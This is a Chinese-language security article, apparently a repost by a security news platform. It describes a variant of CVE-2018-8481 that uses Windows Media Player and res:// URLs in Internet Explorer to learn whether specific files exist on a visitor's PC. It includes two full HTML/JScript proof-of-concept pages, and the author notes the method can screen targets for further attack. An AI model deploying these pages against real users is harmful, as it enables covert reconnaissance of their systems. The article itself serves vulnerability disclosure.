龙空技术网

在网页中通过调用Windows Media Player来探测特定文件

NOSEC安全讯息平台 103

前言:

而今朋友们对“网页如何调用程序播放器”可能比较讲究,姐妹们都需要剖析一些“网页如何调用程序播放器”的相关内容。那么小编同时在网上收集了一些关于“网页如何调用程序播放器””的相关知识,希望看官们能喜欢,大家一起来学习一下吧!

首先,我将要提出的这种方法,其实是CVE-2018-8481的变种:

​假设攻击者想要探测目标机器的C:\windows\system32文件夹中是否存在的cmd.exe文件。 ​那么,我们就可以利用javascript调用Windows Media Player(wmplayer.exe)来加载这个文件,文件存在与否会影响播放器的行为模式。​其中利用代码中的"res:"代表资源,表示Internet Explorer从二进制文件加载内部资源。​具体格式为:

res://resourcefile.ext/resourceitem

所有二进制文件的文件信息都可以在resource/16/1中找到。

res://filename/16/1

其中16=RT_VERSION,具体说明可在微软的网址)中找到。​这个16可以视为一个常量值,不用经常更改,代表所有二进制文件中的资源。

​默认情况下,浏览器会假定所需资源文件位于C:\windows\system32中,但我们可以请求系任何路径上的文件。

​如果要检测Windows Media Player本身是否存在,我们可以利用:

res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.exe/16/1

为了更加进行比对,我们可以特意请求一个不存在的exe文件,看两者的请求结果。

res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.ex/16/1

​以上两个资源请求对应以下两个PoC:

<b> res://C:\Program Files\Windows Media Player\wmplayer.exe/16/1 </b><br><br>​<object id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6"><PARAM NAME="URL" VALUE="res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.exe/16/1"><param name="captioningID" value="displaylyric" /><PARAM NAME="autoStart" VALUE="True"></object><script LANGUAGE = "Jscript" FOR = Player EVENT = error()>​if(Player.error.item(0).errorDescription.length==189){alert("Click the play button");}else{alert("Click the play button");}</script>

以下时请求不存在的文件的PoC,注意文件的后缀是不存在的ex:

<b> res://C:\Program Files\Windows Media Player\wmplayer.ex/16/1 </b><br><br>​<object id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6"><PARAM NAME="URL" VALUE="res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.ex/16/1"><param name="captioningID" value="displaylyric" /><PARAM NAME="autoStart" VALUE="True"></object><script LANGUAGE = "Jscript" FOR = Player EVENT = error()>​if(Player.error.item(0).errorDesc ription.length==189){alert("Click the play button");}else{alert("Click the play button");}</script>

​而这两个页面在实际操作中最明显的区别就是:当请求不存在的文件时,Windows Media Player会展示“正在打开媒体”;而请求存在的文件时,则不存在这种现象。这也导致这两种情况有一定的时间差。

​现在,让我们实际操作一下。我已经做出两个页面来展示我们如何探测特定文件的存在与否,我们以cmd.exe作为目标。

​当探测的文件存在时:

​当探测的文件不存在时:

​当访问第一个网址时,我们可以看到Windows Media Player播放器。

此时点击播放按钮,我们可以看到播放器上什么字符都没有。

当访问第二个网址时,我们也同样可以看到Windows Media Player播放器,而此时点击播放按钮时,我们可以看到“正在打开媒体”。

把这种方法加以改进,我们可以批量筛选存在特定文件的目标,方便我们进行下一步攻击。

以上就是这个方法的简单介绍,更为详细的说明我将在漏洞修复后放出。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:

原文:

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

标签: #网页如何调用程序播放器 #网页如何调用程序播放文件